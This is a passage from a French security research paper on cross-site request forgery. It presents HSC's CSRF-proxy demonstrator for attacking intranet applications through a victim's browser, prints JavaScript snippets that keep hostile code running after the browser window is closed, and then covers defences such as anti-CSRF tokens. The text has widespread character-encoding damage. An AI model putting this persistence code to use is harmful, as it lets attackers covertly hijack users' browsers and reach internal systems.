viguera vers une autre page, le code hostile sera supprim�e de la m�emoire du navigateur et l'attaque
interrompue. En r�ealit�e, un attaquant d�etermin�e peut c ontourner ces di�cult�es pour r�ealiser des
attaques de type CSRF e�caces.

4.1 Le contrôle dynamique des attaques de type CSRF : pr�ese ntation de l'outil
CSRF-proxy

HSC a d�evelopp�e un d�emonstrateur pr�esentant les dangers li�es au Cross-Site Request Forgery.
Ce d�emonstrateur est une s�erie de scripts Python �emulant le fonctionnement d'un serveur Web
et g�en�erant des pages hostiles �a la vol�ee vers le navigateur de la victime. Ces pages hostiles vont
se servir du navigateur de la victime comme d'un relais pour r�ealiser des requêtes vers le r�eseau
interne. Il reprend certaines id�ees pr�esent�ees par Jeremiah Grossman et T.C. Niedzialkowski �a la
Black Hat de Las Vegas en 2006 [2] et dans le scanner Javascript pr�esent�e par SPI Dynamics [5].

Il rajoute la possibilit�e �a l'attaquant de mettre �a jour e n temps r�eel la page Web hostile qui
s'ex�ecute dans le navigateur de l'attaquant. Ainsi, le code hostile, contenu dans un page Web
h�eberg�ee sur un serveur contrôl�e par l'attaquant, r�ec up�ere les requêtes HTTP �a e�ectuer vers
des adresses arbitraires. L'attaquant dispose ainsi d'unesorte de (( ligne de commande)), qui lui
permet d'indiquer les requêtes �a e�ectuer par le navigateur cibl�e, et de consulter le r�esultat des
requêtes (succ�es ou �echec, en utilisant l'attribut (( onerror ))). Un module (( scan automatis�e ))
lui permet aussi de chercher automatiquement des serveurs Web pr�esents sur le r�eseau interne
et d'identi�er les applications Web par un m�ecanisme de signature des r�eponses renvoy�ees. Ce
scan permet aussi, par l'analyse des r�esultats �a certaines requêtes sp�eci�ques, de d�eterminer si
l'utilisateur l�egitime du navigateur est authenti��e sur certaines applications. En e�et, certaines
requêtes ne renverront une r�eponse positive que pour un utilisateur authenti��e. Ainsi, l'attaquant
peut d�eterminer si l'utilisateur l�egitime est authenti� �e sur certains applications, et pro�ter de ces
moyens d'authenti�cation pour e�ectuer des actions non autoris�ees dans cette application. Sinon, un
module brute-force peut lui permettre de forcer l'authenti�cation des applications internes. En�n,
la r�ecup�eration de l'historique du navigateur par divers e m�ethode peut permettre d'obtenir une
listes de cibles potentielles.

L'outil CSRF-proxy montre ainsi qu'une application situ�ee sur le r�eseau interne peut être at-
taqu�ee de fa�con e�cace depuis Internet. Contrairement �a une pratique tr�es r�epandue, ces applica-
tions ne devraient pas être consid�er�ees comme sûres sous pr�etexte qu'elles sont situ�ees sur le r�eseau
interne.

La communication entre le navigateur et le serveur hostile est r�ealis�ee par XMLHttpRequest()
ou par des requêtes GET. Les requêtes vers les applications cibles sont r�ealis�ees par l'insertion
dynamique de formulaires pour les requêtes POST et d'images pour les requêtes GET.

4.2 La probl�ematique de la conservation du code hostile

Pour que l'attaque fonctionne e�cacement, il faut que le code hostile e�ectuant les requêtes reste
actif le plus longtemps possible. Id�ealement pour un attaquant, la simple navigation sur une page
devrait entrâ�ner le chargement du code hostile dans le navigateur jusqu'�a l'arrêt de la machine.

Historiquement, une fa�con simple d'arriver �a ce r�esulta t �etait d'empêcher la fermeture de la
fenêtre par l'utilisateur. Cela �etait possible en associant �a l'�ev�enement (( onunload)), d�eclench�e lors
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de la fermeture de la fenêtre ou de la navigation vers une autre URL, une fonction demandant la
r�eouverture d'une page contenant le code hostile. Le code suivant en montre un exemple :

<html>
<head>

<script>
window.onunload = onUnload();

function onUnload() {
window.open("dontclose.htm")

}
</script>

</head>
</html>

Cependant, les navigateurs modernes sont �equip�es d'une fonctionnalit�e (( anti-popup )), qui limitent
fortement l'utilisation de la fonction window.open(). Cet te fonctionnalit�e rend inop�erant le code
pr�ec�edent.

Plusieurs techniques existent cependant pour assurer la survie du code hostile. La plus e�-
cace d�ecouverte par HSC consiste �a utiliser un boucle in�nie dans la fonction appel�ee lors du
d�eclenchement de l'�ev�enement (( onunload )). Ainsi, dans Internet Explorer 6.0 et Firefox 2.0, le
code Javascript de la page continue de s'ex�ecuter alors quela page n'est plus a�ch�ee, et même si
la fenêtre du navigateur a �et�e ferm�ee ! Seule une observation des processus en cours dans le gestion-
naire des tâches permet de rep�erer que le script s'ex�ecute toujours ! Dans Internet Explorer 7.0, le
code continue de s'ex�ecuter, mais la fenêtre du navigateur est bloqu�ee. L'utilisateur doit stopper le
processus dans le gestionnaire des tâches.

Pour limiter la consommation de temps processeur dans cetteboucle in�nie, nous avons besoin
d'une fonction permettant de mettre le thread en (( pause)). Le langage Javascript n'o�re pas de
telle fonctionnalit�e (la fonction setTimeout() n'arrêt e pas le thread en cours). Mais la solution vient
encore une fois... desXMLHttpRequest. Il su�t de r�ealiser une requête synchrone pour que le thread
se mette en attente de la r�eponse du serveur et limite ainsi la consommation de temps processeur.
Le code suivant montre une impl�ementation simple de ces id�ees :

<html>
<head>
<script>

function waitForever() {
while(1) {

sendRequest(); // Slow down CPU while looping
// Add malicious code here

}
}

function sendRequest() {
// random URL to avoid browser caching

random = Math.random().toString().split(".")[1];
if(window.XMLHttpRequest) // Firefox and IE 7

xhr_object = new XMLHttpRequest();
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else if(window.ActiveXObject) // IE 6
xhr_object = new ActiveXObject("Microsoft.XMLHTTP");

xhr_object.open('GET', random, false); // synchronous re quest
xhr_object.send(null);

}

</script>
</head>

<body onbeforeunload="waitForever()">
Now, close the browser window.
The process should still be running in the task manager.

</body>
</html>

D'autres possibilit�es peuvent être utilis�ees pour assurer la survie du code hostile, de fa�con plus ou
moins e�cace :

{ Pour certains navigateurs, il est possible de demander l'ouverture de petites fenêtres presque
invisibles situ�ees hors de l'�ecran. Mais la fenêtre est toujours pr�esente dans la barre des tâches.

{ Il est possible de cr�eer une frame invisible ((( frameset = 0 ))) ou une iframe, contenant le
code hostile et d'a�cher dans une autre frame une page innocente (Google). Cependant, la
barre d'adresse indique l'URL du site hostile, et toute modi�cation de l'URL dans la cette
barre d'adresse fait disparâ�tre le code hostile. De plus,certains sites Web (comme Hotmail)
d�etectent qu'ils ont �et�e charg�es dans une frame.

Il est ainsi possible �a un attaquant d�etermin�e de conserver le code hostile sur la machine cibl�ee.
Une seule visite sur la page Web hostile su�t pour que cette machine soit transform�ee en un relais
vers les applications situ�ees sur l'Intranet de l'organisation.

5 Les protections contre les attaques de type CSRF

L'objectif de cette partie est de pr�esenter di��erentes so lutions pour limiter les risques d'attaques
de type CSRF.

5.1 La sensibilisation des utilisateurs

Il conviendrait de sensibiliser les utilisateurs pour qu'ils aient conscience qu'une page Web tiers
peut contenir du code hostile, pouvant interagir avec une autre application Web et usurper leur
identit�e. Pour cela, les utilisateurs s'authenti�ant �a u ne application sensible (banque en ligne, etc.)
doivent être encourag�es �a :

{ Id�ealement, fermer toutes les instances du navigateur et v�eri�er dans le gestionnaire des
tâches que tous les processus correspondants ont �et�e tu�es. �A d�efaut, fermer au moins toutes
les fenêtres du navigateur dont le contenu ne provient pas du site h�ebergeant l'application
sensible.

{ V�eri�er que la barre d'adresse a�che l'adresse du site d�e sir�e, et si n�ecessaire, retaper �a la
main cette adresse pour s'assurer de l'authenticit�e du site visit�e.

Ces pr�ecautions sont cependant di�ciles �a faire comprendre et respecter aux utilisateurs.
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5.2 Le renforcement des restrictions au niveau des navigate urs Web

Les requêtes r�ealis�ees par les objetsXMLHttpRequest devraient non seulement être restreintes
au domaine de la page d'origine, mais aussi �a l'IP associ�eelors du chargement de la page. Cette
vuln�erabilit�e pr�esente sur la plupart des navigateurs d evraient être corrig�ee, en tenant compte des
risques de r�egression sur certains sites Web utilisant desm�ecanismes de r�epartition de charge de
type DNS round-robin, o�u le serveur DNS peut renvoyer une adresse IP di��erente sans mauvaises
intentions.

Les propositions en cours pour supprimer ou contourner la restriction (( same domain)) devraient
être accueillies avec la plus grande m�e�ance. Ce seront les prochaines cibles des recherches des
attaquants.

Il n'est par contre pas possible en l'�etat de restreindre les requêtes HTTP e�ectu�ees par une
balise image ou un formulaire. Ce comportement est n�ecessaire �a la plupart des applications Web
actuelles (publicit�es, r�ecup�eration de contenu extern e, etc.). L'a�chage d'un avertissement pour les
requêtes provenant de scripts, comme le fait Internet Explorer 7.0, est une id�ee int�eressante qui
peut faire �echouer certaines attaques.

En�n, la plupart de ces attaques n�ecessitent ou sont fortement facilit�ees par l'utilisation de
Javascript. Il est cependant ridicule de demander �a des utilisateurs de d�esactiver d'un bloc le
Javascript (comme dans les bulletins d'alerte Microsoft :Solution : disable Active Scripting). Avec
la multiplication des sites (( Web 2.0 )), utilisant massivement Javascript, cela n'est pas acceptable
et entrâ�ne des r�egressions sur des sites largement utilis�es. Les navigateurs devraient cependant
permettre �a l'utilisateur de choisir pour chaque site visit�e d'autoriser ou non l'ex�ecution de code
Javascript, et de rajouter progressivement les sites de con�ance �a une liste blanche. Ainsi, l'extension
(( NoScript )) de Firefox est prometteuse par sa simplicit�e et sa convivialit�e.

Attention cependant, car il est possible de r�ealiser certaines attaques sans utiliser Javascript.

5.3 La prise en compte de la menace dans les applications Web

Tout d'abord, comme nous l'avons montr�e tout au long de ce document et contrairement �a ce
qui est souvent a�rm�e, l'utilisation de requêtes de type P OST ne permet pas �a elle seule de bloquer
les attaques de type CSRF, car ces requêtes peuvent tout aussi bien être falsi��ees.

Les applications Web doivent s'assurer que la requête provient bien d'une action volontaire de
l'utilisateur. Pour cela, il est recommand�e de rajouter dans les formulaires et les pages g�en�er�ees
par l'application un jeton non pr�edictible, changeant �a c haque requête. Ce jeton sera envoy�e dans
chaque requête, et s'il apparâ�t que le jeton envoy�e par le navigateur ne correspond par �a celui
g�en�er�e par l'application, la requête est refus�ee.

John et Winter ont propos�e un relais inverse permettant d'a jouter ces jetons en modi�ant les
requêtes HTTP et les documents HTML �echang�ees entre le navigateur et le serveur Web [3].

Lorsqu'il n'est pas possible de modi�er les sources de l'application au sein d'une organisation,
il est toujours possible de limiter les risques d'attaques par CSRF des applications internes par
des pages Web provenant d'Internet. Il faut pour cela faire usage de 2 navigateurs distincts : un
premier pour les applications Internet, un second pour les applications internes. Le second navi-
gateur disposera d'informations d'authenti�cation aupr�es d'un relais lui permettant d'acc�eder aux
applications internes. Ainsi, les pages Web provenant d'Internet ne pourront pas utiliser les infor-
mations d'authenti�cation utilis�ees pour les applicatio ns internes (cookies, etc.) ou même e�ectuer
des requêtes vers ces applications, car le navigateur qu'elles utilisent n'aura pas acc�es aux cookies
de l'autre navigateur et au relais n�ecessaire pour acc�eder �a ces applications internes.
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Fig. 7: Utilisation d'un relais et de 2 navigateurs

6 Conclusion

Si de nombreux e�orts ont �et�e fait pour am�eliorer la s�ecu rit�e des applications Web, certains
d�etails au coeur même de sa conception sont �a l'origine devuln�erabilit�es di�ciles �a r�esoudre. Dans
le cas des vuln�erabilit�es de type CSRF, le principale probl�eme vient �nalement d'une cohabitation
risqu�ee : dans un même processus, celui du navigateur, s'ex�ecutent �a la fois des applications sensibles
et dignes de con�ance, comme des applications m�etiers en Intranet, et du contenu souvent inutile
et parfois dangereux, comme les nombreux sites Web accessibles sur Internet. La coexistence de ces
deux types de contenu ne pouvaient qu'entrâ�ner des risques de d�ebordement.

La multiplication des nouvelles applications (( Web 2.0 )), avec ses nouvelles API, son contenu
dynamique et la migration des applications vers le(( tout Web )) rend �a la fois di�cile et indispensable
la s�ecurisation du Web.

Les vuln�erabilit�es de type CSRF existent depuis la cr�eat ion du Web, mais commencent tout juste
�a être prises en compte. Esp�erons que ce document aura contribu�e �a pr�esenter �a la communaut�e de
la s�ecurit�e informatique les risques et les bonnes pratiques �a respecter pour les limiter.
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